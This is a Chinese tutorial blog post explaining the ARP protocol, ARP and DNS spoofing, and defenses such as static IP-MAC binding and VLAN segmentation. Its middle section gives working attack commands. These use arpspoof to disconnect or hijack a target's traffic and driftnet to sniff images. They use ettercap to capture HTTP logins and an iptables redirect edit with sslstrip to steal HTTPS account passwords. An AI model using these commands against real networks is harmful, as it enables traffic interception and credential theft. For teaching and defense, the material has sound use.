ARP攻击

ARP协议

ARP协议(address resolution protocol)地址解析协议

一台主机和另一台主机通信,要知道目标的IP地址,但是在局域网中传输数据的网卡却不能直接识别IP地址,所以用ARP解析协议将IP地址解析成MAC地址。ARP协议的基本功能就是通过目标设备的IP地址,来查询目标设备的mac地址。

在局域网的任意一台主机中,都有一个ARP缓存表,里面保存本机已知的此局域网中各主机和路由器的IP地址和MAC地址的对照关系。ARP缓存表的生命周期是有时限的(一般不超过20分钟)。

举个例子,局域网内有四个主机:

主机IP地址MAC地址网关
A192.168.0.2mac-a192.168.0.1
B192.168.0.3mac-b192.168.0.1
C192.168.0.4mac-c192.168.0.1
D192.168.0.5mac-d192.168.0.1


主机A会先查询自己的ARP缓存表里有没有B的联系方式,有的话,就将mac-b地址封装到数据包外面,发送出去。没有的话,A会向全网络发送一个ARP广播包,大声询问:我的IP地址是192.168.0.2,硬件地址是mac-a,我想知道IP地址是192.168.0.3的硬件地址是多少? 此时,局域网内所有主机都收到了,B收到后会单独私密回应:我是192.168.0.3,我的硬件地址是mac-b,其他主机不会理A的此时A知道了B的信息,同时也会动态的更新自身的缓存表

ARP协议的缺陷

ARP协议是建立在信任局域网内所有节点的基础上的,他的效率很高。但是不安全。它是无状态的协议。他不会检查自己是否发过请求包,也不知道自己是否发过请求包。他也不管是否合法的应答,只要收到目标mac地址是自己的ARP reply或者ARP广播包(包括ARP reply和ARP request),都会接受并缓存。

ARP攻击原理

ARP欺骗攻击建立在局域网主机间相互信任的基础上的当A发广播询问:我想知道IP是192.168.0.3的硬件地址是多少

此时B当然会回话:我是IP192.168.0.3我的硬件地址是mac-b,可是此时IP地址是192.168.0.4的C也非法回了:我是IP192.168.0.3,我的硬件地址是mac-c。而且是大量的

所以A就会误信192.168.0.3的硬件地址是mac-c,而且动态更新缓存表这样主机C就劫持了主机A发送给主机B的数据,这就是ARP欺骗的过程

假如C直接冒充网关,此时主机C会不停的发送ARP欺骗广播,大声说:我的IP是192.168.0.1,我的硬件地址是mac-c,此时局域网内所有主机都被欺骗,更改自己的缓存表,此时C将会监听到整个局域网发送给互联网的数据报。

ARP病毒攻击症状

通常表现:-打开网页速度非常慢,甚至打不开

提示IP地址冲突

甚至导致校园网瘫痪断网

一般会绑定木马病毒,窃取用户账号密码

ARP攻击手段

windows下

使用cain & abel工具来实现arp攻击

可以监听到目标机的流量和账户密码
https://jingyan.baidu.com/article/d2b1d1029636b05c7e37d491.html

还可以进行hash值解密
http://blog.51cto.com/tsingfu/305908

linux下

用命令 arp -a可以查看arp缓存表,可以看到谁在攻击你

  1. 查看局域网中的主机
    • fping -aqg 192.168.100.0/24
      查看网段下所有存活主机
    • nmap -sP 192.168.100.0/24
      “ -Sp ” 选项告诉Nmap仅仅进行ping扫描。
  2. 断网
  3. arpspoof -i 网卡 -t 目标IP 网关 #断网攻击
    arpspoof -i eth0 -t 192.168.100.15 192.168.1.1
    默认是不转发的,也就是说执行这条命令,目标机就无法联网了
    (arpspoof -i 网卡 -t 目标IP 网关)
  4. 流量劫持
    echo 1 >/proc/sys/net/ipv4/ip_forward
    arpspoof -i eth0 -t 192.168.100.15 192.168.1.1
    将1写入这个文件就可以流量劫持了,同时目标机就能联网了,默认为0,要是还要执行断网操作,还可以将其改为0,即echo 1 >/proc/sys/net/ipv4/ip_forward
  5. 图片嗅探
    driftnet -i eth0
    嗅探到的图片保存在home目录下
  6. http登录账号密码嗅探
    echo 1 >/proc/sys/net/ipv4/ip_forward
    arpspoof -i eth0 -t 192.168.100.15
    192.168.100.1
    ettercap -Tq -i eth0
    -T文本模式启动 -q安静模式
  7. 抓取https的账号和密码
    • 先编辑下/etc/ettercap/etter.conf
    • 找到
# if you use iptables:
#redir_command_on = "iptables -t nat -A PREROUTING -i %iface -p tcp --dport %port -j REDIRECT --to-port %rport"
#redir_command_off = "iptables -t nat -D PREROUTING -i %iface -p tcp --dport %port -j REDIRECT --to-port %rport"
  • 将后面两行的#去掉
  • 然后运行sslstrip -a -f -k 实现https转换成http以获取帐号密码
  • echo 1 > /proc/sys/net/ipv4/ip_forward
  • arpspoof -i eth0 -t 192.168.100.15
  • ettercap -Tq -i eth0

防御方法

ARP双向绑定

在pc端上 IP+mac 绑定

在网络设备(交换路由)上 采用ip+mac+端口绑定

网关也进行IP和mac的静态绑定

-采用支持ARP过滤的防火墙

-建立DHCP服务器

ARP攻击一般先攻击网关,将DHCP服务器建立在网关上

-划分安全区域

ARP广播包是不能跨子网或网段传播的,网段可以隔离广播包。VLAN就是一个逻辑广播域,通过VLAN技术可以在局域网中创建多个子网,就在局域网中隔离了广播。。缩小感染范围。 但是,安全域划分太细会使局域网的管理和资源共享不方便。

DNS欺骗

DNS即Domain Name System 的缩写,域名系统以分布式数据库的形式将域名和IP地址相互映射。DNS协议即域名解析协议,简单的说:DNS是用来将域名解析成对应ip地址的协议。

欺骗者向目标机器发送构造好的ARP应答数据包,ARP欺骗成功后,嗅探到对方发出的DNS请求数据包,分析数据包取得ID和端口号后,向目标发送自己构造好的一个DNS返回包,对方收到DNS应答包后,发现ID和端口号全部正确,即把返回数据包中的域名和对应的IP地址保存进DNS缓存表中,而后来的当真实的DNS应答包返回时则被丢弃。

访问 www.baidu.com ,首先要向本地DNS服务器发出DNS请求,查询 www.baidu.com 的IP地址,如果本地DNS服务器没有在自己的DNS缓存表中发现该网址的记录,就会向根服务器发起查询,根服务器收到请求后,将com域服务器的地址返回给本地DNS服务器,本地DNS服务器则继续向com域发出查询请求,域服务器将 baidu.com 授权域名服务器的地址返回给本地DNS服务器,本地DNS服务器继续向 baidu.com 发起查询,得到 www.baidu.com 的IP地址。

本地DNS服务器得到 www.baidu.com 对应的IP地址后以dns应答包的方式传递给用户,并且在本地建立DNS缓存表。

Windows下查看和刷清空DNS缓存表的命令: ipconfig /displaydns ipconfig /flushdns

ettercap局域网内DNS欺骗
http://www.cnblogs.com/hkleak/p/5043063.html

评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值